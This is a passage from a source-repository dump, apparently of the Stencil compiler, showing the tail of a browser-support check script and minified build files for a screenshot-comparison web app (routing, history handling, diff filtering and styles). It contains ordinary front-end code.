  • Note that by default, ES5 builds and polyfills are enabled during production builds.
  • \n
  • When testing browsers it is recommended to always test in production mode, and ES5 builds should always be enabled during production builds.
  • \n
  • This is only an experiment and if it slows down app development then we will revert this and enable ES5 builds during dev.
  • \n
\n\n\n

Enabling ES5 builds during development:

\n
\n  npm run dev --es5\n  
\n

For stencil-component-starter, use:

\n
\n  npm start --es5\n  
\n\n\n

Enabling full production builds during development:

\n
\n  npm run dev --prod\n  
\n

For stencil-component-starter, use:

\n
\n  npm start --prod\n  
\n\n

Current Browser\'s Support:

\n \n\n

Current Browser:

\n
\n  \n  
\n'; document.getElementById('current-browser-output').textContent = window.navigator.userAgent; document.getElementById('es-modules-test').textContent = supportsEsModules; document.getElementById('es-dynamic-modules-test').textContent = supportsDynamicImports(); document.getElementById('shadow-dom-test').textContent = !!(document.head.attachShadow); document.getElementById('custom-elements-test').textContent = !!(window.customElements); document.getElementById('css-variables-test').textContent = !!(window.CSS && window.CSS.supports && window.CSS.supports('color', 'var(--c)')); document.getElementById('fetch-test').textContent = !!(window.fetch); } else { document.body.innerHTML = '\n \n\n\n\n

Update src/index.html

\n\n

Stencil recently changed how scripts are loaded in order to improve performance.

\n\n

BEFORE:

\n

Previously, a single script was included that handled loading the correct JavaScript based on browser support.

\n
\n  <script src="/build/app.js"></script>\n\n  
\n\n

AFTER:

\n

The index.html should now include two scripts using the modern ES Module script pattern.\n Note that only one file will actually be requested and loaded based on the browser\'s native support for ES Modules.\n For more info, please see Using JavaScript modules on the web.\n

\n
\n  <script type="module" src="/build/app.esm.js"></script>\n  <script nomodule src="/build/app.js"></script>\n  
\n'; } } setTimeout(checkSupport); })(); ================================================ FILE: screenshot/compare/build/index.esm.js ================================================ ================================================ FILE: screenshot/compare/build/p-081b0641.js ================================================ function t(t,n,r){const s=o(t,n,r),c=localStorage.getItem(s);if("string"==typeof c){const t=parseInt(c,10);if(!isNaN(t))return t}return null}function n(t,n,r,s){const c=o(t,n,r);localStorage.setItem(c,String(s))}function o(t,n,o){return`screenshot_mismatch_${t}_${n}_${o}`}export{t as g,n as s} ================================================ FILE: screenshot/compare/build/p-227a1e18.entry.js ================================================ import{r as t,h as s,g as e,c as o}from"./p-fbbae598.js";import{A as i}from"./p-e2efe0df.js";import{m as n,a as r,s as a,b as h,c,d as l,e as u,f as p,g as d,h as f,i as g,j as y,k as m,l as b,n as w,o as P,p as v}from"./p-9b6a9315.js";class O{constructor(s){t(this,s)}render(){return s("stencil-router",{class:"full-screen"},s("stencil-route-switch",null,s("stencil-route",{url:"/:buildIdA/:buildIdB",exact:!0,component:"screenshot-compare",class:"full-screen"}),s("stencil-route",{url:"/:buildId",component:"screenshot-preview",class:"full-screen"}),s("stencil-route",{url:"/",component:"screenshot-preview",exact:!0,class:"full-screen"})))}}class j{constructor(s){t(this,s),this.group=null,this.match=null,this.componentProps={},this.exact=!1,this.scrollOnNextRender=!1,this.previousMatch=null}computeMatch(t){const s=null!=this.group||null!=this.el.parentElement&&"stencil-route-switch"===this.el.parentElement.tagName.toLowerCase();if(t&&!s)return this.previousMatch=this.match,this.match=n(t.pathname,{path:this.url,exact:this.exact,strict:!0})}async loadCompleted(){let t={};this.history&&this.history.location.hash?t={scrollToId:this.history.location.hash.substr(1)}:this.scrollTopOffset&&(t={scrollTopOffset:this.scrollTopOffset}),"function"==typeof this.componentUpdated?this.componentUpdated(t):this.match&&!r(this.match,this.previousMatch)&&this.routeViewsUpdated&&this.routeViewsUpdated(t)}async componentDidUpdate(){await this.loadCompleted()}async componentDidLoad(){await this.loadCompleted()}render(){if(!this.match||!this.history)return null;const t=Object.assign({},this.componentProps,{history:this.history,match:this.match});return this.routeRender?this.routeRender(Object.assign({},t,{component:this.component})):this.component?s(this.component,Object.assign({},t)):void 0}get el(){return e(this)}static get watchers(){return{location:["computeMatch"]}}}i.injectProps(j,["location","history","historyType","routeViewsUpdated"]),j.style="stencil-route.inactive{display:none}";const L=t=>"STENCIL-ROUTE"===t.tagName;class S{constructor(s){t(this,s),this.group=((1e17*Math.random()).toString().match(/.{4}/g)||[]).join("-"),this.subscribers=[],this.queue=o(this,"queue")}componentWillLoad(){null!=this.location&&this.regenerateSubscribers(this.location)}async regenerateSubscribers(t){if(null==t)return;let s=-1;if(this.subscribers=Array.prototype.slice.call(this.el.children).filter(L).map((e,o)=>{const i=n(t.pathname,{path:e.url,exact:e.exact,strict:!0});return i&&-1===s&&(s=o),{el:e,match:i}}),-1===s)return;if(this.activeIndex===s)return void(this.subscribers[s].el.match=this.subscribers[s].match);this.activeIndex=s;const e=this.subscribers[this.activeIndex];this.scrollTopOffset&&(e.el.scrollTopOffset=this.scrollTopOffset),e.el.group=this.group,e.el.match=e.match,e.el.componentUpdated=t=>{this.queue.write(()=>{this.subscribers.forEach((t,s)=>{if(t.el.componentUpdated=void 0,s===this.activeIndex)return t.el.style.display="";this.scrollTopOffset&&(t.el.scrollTopOffset=this.scrollTopOffset),t.el.group=this.group,t.el.match=null,t.el.style.display="none"})}),this.routeViewsUpdated&&this.routeViewsUpdated(Object.assign({scrollTopOffset:this.scrollTopOffset},t))}}render(){return s("slot",null)}get el(){return e(this)}static get watchers(){return{location:["regenerateSubscribers"]}}}i.injectProps(S,["location","routeViewsUpdated"]);const U=(t,...s)=>{t||console.warn(...s)},k=()=>{let t,s=[];return{setPrompt:s=>(U(null==t,"A history supports only one prompt at a time"),t=s,()=>{t===s&&(t=null)}),confirmTransitionTo:(s,e,o,i)=>{if(null!=t){const n="function"==typeof t?t(s,e):t;"string"==typeof n?"function"==typeof o?o(n,i):(U(!1,"A history needs a getUserConfirmation function in order to use a prompt message"),i(!0)):i(!1!==n)}else i(!0)},appendListener:t=>{let e=!0;const o=(...s)=>{e&&t(...s)};return s.push(o),()=>{e=!1,s=s.filter(t=>t!==o)}},notifyListeners:(...t)=>{s.forEach(s=>s(...t))}}},H=(t,s="scrollPositions")=>{let e=new Map;const o=(s,o)=>{if(e.set(s,o),a(t,"sessionStorage")){const s=[];e.forEach((t,e)=>{s.push([e,t])}),t.sessionStorage.setItem("scrollPositions",JSON.stringify(s))}};if(a(t,"sessionStorage")){const o=t.sessionStorage.getItem(s);e=o?new Map(JSON.parse(o)):e}return"scrollRestoration"in t.history&&(history.scrollRestoration="manual"),{set:o,get:t=>e.get(t),has:t=>e.has(t),capture:s=>{o(s,[t.scrollX,t.scrollY])}}},T={hashbang:{encodePath:t=>"!"===t.charAt(0)?t:"!/"+P(t),decodePath:t=>"!"===t.charAt(0)?t.substr(1):t},noslash:{encodePath:P,decodePath:u},slash:{encodePath:u,decodePath:u}},E=(t,s)=>{const e=0==t.pathname.indexOf(s)?"/"+t.pathname.slice(s.length):t.pathname;return Object.assign({},t,{pathname:e})},A={browser:(t,s={})=>{let e=!1;const o=t.history,i=t.location,n=t.navigator,r=h(t),a=!c(n),w=H(t),P=null!=s.forceRefresh&&s.forceRefresh,v=null!=s.getUserConfirmation?s.getUserConfirmation:m,O=null!=s.keyLength?s.keyLength:6,j=s.basename?l(u(s.basename)):"",L=()=>{try{return t.history.state||{}}catch(t){return{}}},S=t=>{t=t||{};const{key:s,state:e}=t,{pathname:o,search:n,hash:r}=i;let a=o+n+r;return U(!j||f(a,j),'You are attempting to use a basename on a page whose URL path does not begin with the basename. Expected path "'+a+'" to begin with "'+j+'".'),j&&(a=g(a,j)),p(a,e,s||d(O))},T=k(),E=t=>{w.capture(q.location.key),Object.assign(q,t),q.location.scrollPosition=w.get(q.location.key),q.length=o.length,T.notifyListeners(q.location,q.action)},A=t=>{b(n,t)||C(S(t.state))},x=()=>{C(S(L()))},C=t=>{if(e)e=!1,E();else{const s="POP";T.confirmTransitionTo(t,s,v,e=>{e?E({action:s,location:t}):R(t)})}},R=t=>{let s=B.indexOf(q.location.key),o=B.indexOf(t.key);-1===s&&(s=0),-1===o&&(o=0);const i=s-o;i&&(e=!0,N(i))},M=S(L());let B=[M.key],I=0,_=!1;const Y=t=>j+y(t),N=t=>{o.go(t)},V=s=>{I+=s,1===I?(t.addEventListener("popstate",A),a&&t.addEventListener("hashchange",x)):0===I&&(t.removeEventListener("popstate",A),a&&t.removeEventListener("hashchange",x))},q={length:o.length,action:"POP",location:M,createHref:Y,push:(t,s)=>{U(!("object"==typeof t&&void 0!==t.state&&void 0!==s),"You should avoid providing a 2nd state argument to push when the 1st argument is a location-like object that already has state; it is ignored");const e=p(t,s,d(O),q.location);T.confirmTransitionTo(e,"PUSH",v,t=>{if(!t)return;const s=Y(e),{key:n,state:a}=e;if(r)if(o.pushState({key:n,state:a},"",s),P)i.href=s;else{const t=B.indexOf(q.location.key),s=B.slice(0,-1===t?0:t+1);s.push(e.key),B=s,E({action:"PUSH",location:e})}else U(void 0===a,"Browser history cannot push state in browsers that do not support HTML5 history"),i.href=s})},replace:(t,s)=>{U(!("object"==typeof t&&void 0!==t.state&&void 0!==s),"You should avoid providing a 2nd state argument to replace when the 1st argument is a location-like object that already has state; it is ignored");const e=p(t,s,d(O),q.location);T.confirmTransitionTo(e,"REPLACE",v,t=>{if(!t)return;const s=Y(e),{key:n,state:a}=e;if(r)if(o.replaceState({key:n,state:a},"",s),P)i.replace(s);else{const t=B.indexOf(q.location.key);-1!==t&&(B[t]=e.key),E({action:"REPLACE",location:e})}else U(void 0===a,"Browser history cannot replace state in browsers that do not support HTML5 history"),i.replace(s)})},go:N,goBack:()=>N(-1),goForward:()=>N(1),block:(t="")=>{const s=T.setPrompt(t);return _||(V(1),_=!0),()=>(_&&(_=!1,V(-1)),s())},listen:t=>{const s=T.appendListener(t);return V(1),()=>{V(-1),s()}},win:t};return q},hash:(t,s={})=>{let e=!1,o=null,i=0,n=!1;const r=t.location,a=t.history,h=w(t.navigator),c=null!=s.keyLength?s.keyLength:6,{getUserConfirmation:b=m,hashType:P="slash"}=s,O=s.basename?l(u(s.basename)):"",{encodePath:j,decodePath:L}=T[P],S=()=>{const t=r.href,s=t.indexOf("#");return-1===s?"":t.substring(s+1)},H=t=>{const s=r.href.indexOf("#");r.replace(r.href.slice(0,s>=0?s:0)+"#"+t)},E=()=>{let t=L(S());return U(!O||f(t,O),'You are attempting to use a basename on a page whose URL path does not begin with the basename. Expected path "'+t+'" to begin with "'+O+'".'),O&&(t=g(t,O)),p(t,void 0,d(c))},A=k(),x=t=>{Object.assign(q,t),q.length=a.length,A.notifyListeners(q.location,q.action)},C=()=>{const t=S(),s=j(t);if(t!==s)H(s);else{const t=E(),s=q.location;if(!e&&v(s,t))return;if(o===y(t))return;o=null,R(t)}},R=t=>{if(e)e=!1,x();else{const s="POP";A.confirmTransitionTo(t,s,b,e=>{e?x({action:s,location:t}):M(t)})}},M=t=>{let s=Y.lastIndexOf(y(q.location)),o=Y.lastIndexOf(y(t));-1===s&&(s=0),-1===o&&(o=0);const i=s-o;i&&(e=!0,N(i))},B=S(),I=j(B);B!==I&&H(I);const _=E();let Y=[y(_)];const N=t=>{U(h,"Hash history go(n) causes a full page reload in this browser"),a.go(t)},V=(t,s)=>{i+=s,1===i?t.addEventListener("hashchange",C):0===i&&t.removeEventListener("hashchange",C)},q={length:a.length,action:"POP",location:_,createHref:t=>"#"+j(O+y(t)),push:(t,s)=>{U(void 0===s,"Hash history cannot push state; it is ignored");const e=p(t,void 0,d(c),q.location);A.confirmTransitionTo(e,"PUSH",b,t=>{if(!t)return;const s=y(e),i=j(O+s);if(S()!==i){o=s,(t=>{r.hash=t})(i);const t=Y.lastIndexOf(y(q.location)),n=Y.slice(0,-1===t?0:t+1);n.push(s),Y=n,x({action:"PUSH",location:e})}else U(!1,"Hash history cannot PUSH the same path; a new entry will not be added to the history stack"),x()})},replace:(t,s)=>{U(void 0===s,"Hash history cannot replace state; it is ignored");const e=p(t,void 0,d(c),q.location);A.confirmTransitionTo(e,"REPLACE",b,t=>{if(!t)return;const s=y(e),i=j(O+s);S()!==i&&(o=s,H(i));const n=Y.indexOf(y(q.location));-1!==n&&(Y[n]=s),x({action:"REPLACE",location:e})})},go:N,goBack:()=>N(-1),goForward:()=>N(1),block:(s="")=>{const e=A.setPrompt(s);return n||(V(t,1),n=!0),()=>(n&&(n=!1,V(t,-1)),e())},listen:s=>{const e=A.appendListener(s);return V(t,1),()=>{V(t,-1),e()}},win:t};return q}};class x{constructor(s){t(this,s),this.root="/",this.historyType="browser",this.titleSuffix="",this.routeViewsUpdated=(t={})=>{if(this.history&&t.scrollToId&&"browser"===this.historyType){const s=this.history.win.document.getElementById(t.scrollToId);if(s)return s.scrollIntoView()}this.scrollTo(t.scrollTopOffset||this.scrollTopOffset)},this.isServer=o(this,"isServer"),this.queue=o(this,"queue")}componentWillLoad(){this.history=A[this.historyType](this.el.ownerDocument.defaultView),this.history.listen(t=>{t=E(t,this.root),this.location=t}),this.location=E(this.history.location,this.root)}scrollTo(t){const s=this.history;if(null!=t&&!this.isServer&&s)return"POP"===s.action&&Array.isArray(s.location.scrollPosition)?this.queue.write(()=>{s&&s.location&&Array.isArray(s.location.scrollPosition)&&s.win.scrollTo(s.location.scrollPosition[0],s.location.scrollPosition[1])}):this.queue.write(()=>{s.win.scrollTo(0,t)})}render(){if(this.location&&this.history)return s(i.Provider,{state:{historyType:this.historyType,location:this.location,titleSuffix:this.titleSuffix,root:this.root,history:this.history,routeViewsUpdated:this.routeViewsUpdated}},s("slot",null))}get el(){return e(this)}}export{O as app_root,j as stencil_route,S as stencil_route_switch,x as stencil_router} ================================================ FILE: screenshot/compare/build/p-2c298727.entry.js ================================================ import{r as e,h as t}from"./p-fbbae598.js";class s{constructor(t){e(this,t),this.appSrcUrl="",this.imagesUrl="/data/images/",this.buildsUrl="/data/builds/"}async componentWillLoad(){let e="master";this.match&&this.match.params.buildId&&(e=this.match.params.buildId.substr(0,7));let t=`${this.buildsUrl}${e}.json`;"master"===e&&(t+="?ts="+Date.now());const s=await fetch(t);s.ok&&(this.build=await s.json(),document.title=`${this.build.id} Preview: ${this.build.message}`)}render(){const e=[];return this.build&&this.build.screenshots.forEach(t=>{const s=t.testPath.split("/");s.pop();const i=`/data/tests/${this.build.id}/${s.join("/")}/`;if(!e.some(e=>e.url===i)){const s={desc:t.desc.split(",")[0],url:i};e.push(s)}}),e.sort((e,t)=>e.desc.toLowerCase()t.desc.toLowerCase()?1:0),[t("compare-header",{appSrcUrl:this.appSrcUrl}),t("section",{class:"scroll-y"},t("section",{class:"content"},this.build?t("h1",null,t("a",{href:this.build.url},this.build.message)):null,e.map(e=>t("div",null,t("a",{href:e.url},e.desc)))))]}}s.style="screenshot-preview{display:block}screenshot-preview .scroll-y{width:100%}screenshot-preview h1{color:var(--analysis-data-color);font-size:16px;margin:0}screenshot-preview .content{padding:80px 20px 140px 20px}screenshot-preview a{display:block;padding:8px;color:var(--analysis-data-color);text-decoration:none}screenshot-preview a:hover{text-decoration:underline}screenshot-preview compare-header{left:0;padding:0;width:100%;width:100%;height:auto;padding-top:env(safe-area-inset-top)}screenshot-preview compare-header compare-filter{display:none}@media (max-width: 480px){screenshot-preview a{padding:12px;font-size:18px}screenshot-preview a:hover{text-decoration:none}}";export{s as screenshot_preview} ================================================ FILE: screenshot/compare/build/p-5479268c.entry.js ================================================ import{r as t,h as s}from"./p-fbbae598.js";import{g as i}from"./p-081b0641.js";function e(t,s){const i=Object.assign({},t,s),e=Object.keys(i),o=[];return e.map(t=>{const s=i[t];!0===s?o.push(t):null!=s&&""!==s&&o.push(t+"-"+s)}),window.location.hash=o.sort().join(";"),i}class o{constructor(s){t(this,s),this.appSrcUrl="",this.imagesUrl="/data/images/",this.buildsUrl="/data/builds/",this.comparesUrl="/data/compares/",this.jsonpUrl=null,this.diffs=[]}async componentWillLoad(){this.match&&this.match.params.buildIdA&&this.match.params.buildIdB&&await this.loadBuilds(this.match.params.buildIdA,this.match.params.buildIdB),this.diffs=await function(t,s,e){const o=[];return s&&e?(e.screenshots.forEach(s=>{o.push({id:s.id,desc:s.desc,testPath:s.testPath,imageA:null,imageUrlA:null,imageB:s.image,imageUrlB:`${t}${s.image}`,identical:!1,comparable:!1,mismatchedPixels:null,width:s.width,height:s.height,deviceScaleFactor:s.deviceScaleFactor,device:s.device||s.userAgent,show:!1,hasIntersected:!1,threshold:"number"==typeof s.threshold?s.threshold:.05})}),s.screenshots.forEach(s=>{const i=o.find(t=>t.id===s.id);i&&(i.imageA=s.image,i.imageUrlA=`${t}${s.image}`)}),o.forEach(t=>{if(t.comparable=null!=t.imageA&&null!=t.imageB,t.identical=t.comparable&&t.imageA===t.imageB,t.identical)t.mismatchedPixels=0;else{const s=i(t.imageA,t.imageB,t.threshold);"number"==typeof s&&(t.mismatchedPixels=s,0===t.mismatchedPixels&&(t.identical=!0))}}),o):o}(this.imagesUrl,this.a,this.b),this.filter=function(){const t={},s=location.hash.replace("#","");return""!==s&&s.split(";").forEach(s=>{const i=s.split("-");t[i[0]]=!(i.length>1)||i[1]}),t}(),this.updateDiffs()}componentDidLoad(){if("IntersectionObserver"in window){const t={root:document.querySelector(".scroll-y"),rootMargin:"1200px"},s=new IntersectionObserver(t=>{let s=!1;t.forEach(t=>{if(t.isIntersecting){const i=this.diffs.find(s=>t.target.id==="d-"+s.id);i&&(i.hasIntersected=!0,s=!0)}}),s&&(window.requestIdleCallback?window.requestIdleCallback(()=>{this.updateDiffs()}):window.requestAnimationFrame(()=>{this.updateDiffs()}))},t),i=document.querySelectorAll("compare-row");for(let t=0;t{t.hasIntersected=!0}),this.updateDiffs();this.filter&&this.filter.diff&&this.navToDiff(this.filter.diff)}async loadBuilds(t,s){let i=`${this.buildsUrl}${t}.json`;"master"===t&&(i+="?ts="+Date.now());let e=`${this.buildsUrl}${s}.json`;"master"===s&&(e+="?ts="+Date.now());const o=await Promise.all([fetch(i),fetch(e)]),n=await o[0],a=await o[1];n.ok&&a.ok&&(this.a=await n.json(),this.b=await a.json())}filterChange(t){this.filter=e(this.filter,t.detail),this.updateDiffs()}diffNavChange(t){const s=t.detail;this.filter=e(this.filter,{diff:s}),this.updateDiffs(),this.navToDiff(s)}navToDiff(t){const s=document.getElementById("d-"+t),i=document.querySelector(".scroll-y");s&&i&&(i.scrollTop=s.offsetTop-84)}compareLoaded(t){const s=t.detail,i=this.diffs.find(t=>t.id===s.id);i&&(i.mismatchedPixels=s.mismatchedPixels),this.updateDiffs()}updateDiffs(){var t;this.diffs=(t=this.filter,this.diffs.map(s=>(s=Object.assign({},s),function(t,s){const i=!t.device||t.device===s.device,e=!t.search||s.desc.includes(t.search);let o=!0;return t.diff&&t.diff===s.id?o=!0:t.mismatch?null!=s.mismatchedPixels&&"all"!==t.mismatch&&(o=parseInt(t.mismatch,10)0||null==s.mismatchedPixels,s.show=i&&e&&o,s}(t,s))).sort((t,s)=>t.mismatchedPixels>s.mismatchedPixels?-1:t.mismatchedPixelss.desc.toLowerCase()?1:t.device.toLowerCase()s.device.toLowerCase()?1:0))}render(){return[s("compare-header",{diffs:this.diffs,filter:this.filter,appSrcUrl:this.appSrcUrl}),s("section",{class:"scroll-x"},s("compare-thead",{a:this.a,b:this.b,diffs:this.diffs}),s("section",{class:"scroll-y"},s("compare-table",null,s("compare-tbody",null,this.diffs.map(t=>s("compare-row",{key:t.id,aId:this.a.id,bId:this.b.id,id:"d-"+t.id,show:t.show,hidden:!t.show,imagesUrl:this.imagesUrl,jsonpUrl:this.jsonpUrl,diff:t}))))))]}}export{o as screenshot_compare} ================================================ FILE: screenshot/compare/build/p-573ec8a4.entry.js ================================================ import{r as l,d as t,h as d}from"./p-fbbae598.js";class a{constructor(d){l(this,d),this.mismatchedPixels=null,this.diffNavChange=t(this,"diffNavChange",7)}navToDiff(l){l.preventDefault(),l.stopPropagation(),this.diffNavChange.emit(this.diff.id)}render(){const l=this.diff,t="number"==typeof this.mismatchedPixels,a=t?this.mismatchedPixels/(l.width*l.deviceScaleFactor*(l.height*l.deviceScaleFactor)):null;let i="";t?this.mismatchedPixels>0&&(i="has-mismatch"):i="not-calculated";const n=l.testPath.split("/");n.pop();const s=n.join("/");return[d("p",{class:"test-path"},l.testPath),d("dl",null,d("div",null,d("dt",null,"Diff"),d("dd",null,d("a",{href:"#diff-"+l.id,onClick:this.navToDiff.bind(this)},l.id))),l.comparable?[d("div",{class:i},d("dt",null,"Mismatched Pixels"),d("dd",null,t?this.mismatchedPixels:"--")),d("div",{class:i},d("dt",null,"Mismatched Ratio"),d("dd",null,t?a.toFixed(4):"--"))]:null,d("div",null,d("dt",null,"Device"),d("dd",null,l.device)),d("div",null,d("dt",null,"Width"),d("dd",null,l.width)),d("div",null,d("dt",null,"Height"),d("dd",null,l.height)),d("div",null,d("dt",null,"Device Scale Factor"),d("dd",null,l.deviceScaleFactor)),l.imageA?d("div",null,d("dt",null,"Left Preview"),d("dd",null,d("a",{href:`/data/tests/${this.aId}/${s}/`,target:"_blank"},"HTML"))):null,l.imageB?d("div",null,d("dt",null,"Right Preview"),d("dd",null,d("a",{href:`/data/tests/${this.bId}/${s}/`,target:"_blank"},"HTML"))):null,d("div",{class:"desc"},d("dt",null,"Description"),d("dd",null,l.desc)))]}}a.style=".test-path{margin-top:0;padding-top:0;font-size:10px;color:var(--analysis-data-color)}dl{padding:0;margin:0;font-size:var(--analysis-data-font-size);line-height:28px}div{display:flex;width:260px}dt{display:inline;flex:2;font-weight:500}dd{display:inline;flex:1;color:var(--analysis-data-color)}.desc,.desc dt{display:block}.desc dd{display:block;margin:0;line-height:22px}.not-calculated dd{color:#cccccc}.has-mismatch dd{color:#ff6200}p{padding-top:14px;font-size:var(--analysis-data-font-size)}a{color:var(--analysis-data-color)}a:hover{text-decoration:none}";export{a as compare_analysis} ================================================ FILE: screenshot/compare/build/p-6ba08604.entry.js ================================================ import{r as t,h as i}from"./p-fbbae598.js";class o{constructor(i){t(this,i),this.a="",this.b=""}async componentWillLoad(){const t="/data/builds/master.json?ts="+Date.now(),i=await fetch(t);i.ok&&(this.build=await i.json())}onSubmit(t){t.preventDefault(),t.stopPropagation();let i=this.a.trim().toLowerCase(),o=this.b.trim().toLowerCase();i&&o&&(i=i.substring(0,7),o=o.substring(0,7),window.location.href=`/${i}/${o}`)}render(){return[i("header",null,i("div",{class:"logo"},i("a",{href:"/"},i("img",{src:"/assets/logo.png?1"})))),i("section",null,this.build?i("section",{class:"master"},i("p",null,i("a",{href:"/master"},this.build.message))):null,i("form",{onSubmit:this.onSubmit.bind(this)},i("div",null,i("input",{onInput:t=>this.a=t.target.value})),i("div",null,i("input",{onInput:t=>this.b=t.target.value})),i("div",null,i("button",{type:"submit"},"Compare Screenshots"))))]}}o.style="header{padding:8px;background:white;box-shadow:var(--header-box-shadow)}img{width:174px;height:32px}.logo{flex:1;padding:7px}a{padding:8px;color:var(--analysis-data-color);text-decoration:none}.master{text-align:center}a:hover{text-decoration:underline}form{width:160px;margin:40px auto}form div{margin:10px}input{width:100%}";export{o as screenshot_lookup} ================================================ FILE: screenshot/compare/build/p-6bc63295.entry.js ================================================ import{r as s,g as t}from"./p-fbbae598.js";import{A as e}from"./p-e2efe0df.js";class i{constructor(t){s(this,t),this.when=!0,this.message=""}enable(s){this.unblock&&this.unblock(),this.history&&(this.unblock=this.history.block(s))}disable(){this.unblock&&(this.unblock(),this.unblock=void 0)}componentWillLoad(){this.when&&this.enable(this.message)}updateMessage(s,t){this.when?this.when&&t===s||this.enable(this.message):this.disable()}componentDidUnload(){this.disable()}render(){return null}get el(){return t(this)}static get watchers(){return{message:["updateMessage"],when:["updateMessage"]}}}e.injectProps(i,["history"]);export{i as stencil_router_prompt} ================================================ FILE: screenshot/compare/build/p-7a3759fd.entry.js ================================================ import{r as e,d as t,h as i}from"./p-fbbae598.js";class s{constructor(i){e(this,i),this.filterChange=t(this,"filterChange",7)}render(){if(!this.diffs||0===this.diffs.length||!this.filter)return;const e=this.diffs.reduce((e,t)=>(e.some(e=>e.value===t.device)||e.push({text:t.device,value:t.device}),e),[{text:"All Devices",value:""}]);return i("section",null,i("div",{class:"showing"},"Showing ",this.diffs.filter(e=>e.show).length),i("div",{class:"search"},i("input",{type:"search",onInput:e=>{this.filterChange.emit({search:e.target.value})},value:this.filter.search||""})),e.length>1?i("div",{class:"device"},i("select",{onInput:e=>{this.filterChange.emit({device:e.target.value})}},e.map(e=>i("option",{key:e.value,selected:e.value===this.filter.device,value:e.value},e.text)))):null,i("div",{class:"mismatch"},i("select",{onInput:e=>{this.filterChange.emit({mismatch:e.target.value})}},i("option",{value:"",selected:""===this.filter.mismatch},"> 0"),i("option",{value:"100",selected:"100"===this.filter.mismatch},"> 100"),i("option",{value:"250",selected:"250"===this.filter.mismatch},"> 250"),i("option",{value:"500",selected:"500"===this.filter.mismatch},"> 500"),i("option",{value:"1000",selected:"1000"===this.filter.mismatch},"> 1,000"),i("option",{value:"2500",selected:"2500"===this.filter.mismatch},"> 2,500"),i("option",{value:"5000",selected:"5000"===this.filter.mismatch},"> 5,000"),i("option",{value:"10000",selected:"10000"===this.filter.mismatch},"> 10,000"),i("option",{value:"25000",selected:"25000"===this.filter.mismatch},"> 25,000"),i("option",{value:"50000",selected:"50000"===this.filter.mismatch},"> 50,000"),i("option",{value:"all",selected:"all"===this.filter.mismatch},"All Screenshots"))))}}s.style="select{font-size:10px}input{font-size:10px}.showing{font-size:12px;white-space:nowrap;margin:17px 8px 0 0;color:var(--analysis-data-color)}section{display:flex;justify-content:flex-end}.search{margin:13px 8px 0 0}.device{margin:13px 8px 0 0}.mismatch{margin:13px 8px 0 0}";class a{constructor(t){e(this,t)}render(){return[i("header",null,i("div",{class:"logo"},i("a",{href:"/"},i("img",{src:this.appSrcUrl+"/assets/logo.png?1"}))),i("compare-filter",{diffs:this.diffs,filter:this.filter}))]}}a.style=":host{background:white;box-shadow:var(--header-box-shadow)}nav{padding:4px 4px}nav a{font-size:14px;text-decoration:none;color:var(--breadcrumb-color);display:inline-block;padding:0 4px 0 4px}nav a:hover{text-decoration:underline}header{display:flex;width:calc(100% - 115px);padding:8px}img{width:174px;height:32px}.logo{flex:1;padding:7px}compare-filter{flex:1}h1{margin:0;padding:0;font-size:18px}";export{s as compare_filter,a as compare_header} ================================================ FILE: screenshot/compare/build/p-7b4e3ba7.js ================================================ import{p as e,b as r}from"./p-fbbae598.js";e().then(e=>r([["p-5479268c",[[0,"screenshot-compare",{appSrcUrl:[1,"app-src-url"],imagesUrl:[1,"images-url"],buildsUrl:[1,"builds-url"],comparesUrl:[1,"compares-url"],jsonpUrl:[1,"jsonp-url"],match:[16],a:[1040],b:[1040],filter:[32],diffs:[32]},[[0,"filterChange","filterChange"],[0,"diffNavChange","diffNavChange"],[0,"compareLoaded","compareLoaded"]]]]],["p-2c298727",[[0,"screenshot-preview",{appSrcUrl:[1,"app-src-url"],imagesUrl:[1,"images-url"],buildsUrl:[1,"builds-url"],match:[16]}]]],["p-f0b99977",[[0,"context-consumer",{context:[16],renderer:[16],subscribe:[16],unsubscribe:[32]}]]],["p-6ba08604",[[1,"screenshot-lookup"]]],["p-ec2f13e0",[[0,"stencil-async-content",{documentLocation:[1,"document-location"],content:[32]}]]],["p-d1bf53f5",[[4,"stencil-route-link",{url:[1],urlMatch:[1,"url-match"],activeClass:[1,"active-class"],exact:[4],strict:[4],custom:[1],anchorClass:[1,"anchor-class"],anchorRole:[1,"anchor-role"],anchorTitle:[1,"anchor-title"],anchorTabIndex:[1,"anchor-tab-index"],anchorId:[1,"anchor-id"],history:[16],location:[16],root:[1],ariaHaspopup:[1,"aria-haspopup"],ariaPosinset:[1,"aria-posinset"],ariaSetsize:[2,"aria-setsize"],ariaLabel:[1,"aria-label"],match:[32]}]]],["p-b4cc611c",[[0,"stencil-route-title",{titleSuffix:[1,"title-suffix"],pageTitle:[1,"page-title"]}]]],["p-6bc63295",[[0,"stencil-router-prompt",{when:[4],message:[1],history:[16],unblock:[32]}]]],["p-e8ca6d97",[[0,"stencil-router-redirect",{history:[16],root:[1],url:[1]}]]],["p-573ec8a4",[[1,"compare-analysis",{aId:[1,"a-id"],bId:[1,"b-id"],diff:[16],mismatchedPixels:[2,"mismatched-pixels"]}]]],["p-f4745c2f",[[0,"compare-row",{aId:[1,"a-id"],bId:[1,"b-id"],imagesUrl:[1,"images-url"],jsonpUrl:[1,"jsonp-url"],diff:[16],show:[4],imageASrc:[32],imageBSrc:[32],imageAClass:[32],imageBClass:[32],canvasClass:[32]}],[1,"compare-thead",{a:[16],b:[16],diffs:[16]}]]],["p-227a1e18",[[0,"app-root"],[0,"stencil-route",{group:[513],componentUpdated:[16],match:[1040],url:[1],component:[1],componentProps:[16],exact:[4],routeRender:[16],scrollTopOffset:[2,"scroll-top-offset"],routeViewsUpdated:[16],location:[16],history:[16],historyType:[1,"history-type"]}],[4,"stencil-route-switch",{group:[513],scrollTopOffset:[2,"scroll-top-offset"],location:[16],routeViewsUpdated:[16]}],[4,"stencil-router",{root:[1],historyType:[1,"history-type"],titleSuffix:[1,"title-suffix"],scrollTopOffset:[2,"scroll-top-offset"],location:[32],history:[32]}]]],["p-7a3759fd",[[1,"compare-header",{appSrcUrl:[1,"app-src-url"],diffs:[16],filter:[16]}],[1,"compare-filter",{diffs:[16],filter:[16]}]]]],e)); ================================================ FILE: screenshot/compare/build/p-988eb362.css ================================================ :root{--font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;--font-color:rgb(32, 32, 32);--background-color:#f7f8fb;--breadcrumb-color:#8e9bb2;--header-box-shadow:0px 1px 4px rgba(0, 12, 32, 0.12), 0px 1px 0px rgba(0,12,32,0.02);--screenshot-box-shadow:0px 0px 4px rgba(0, 0, 0, 0.08), 0px 1px 3px 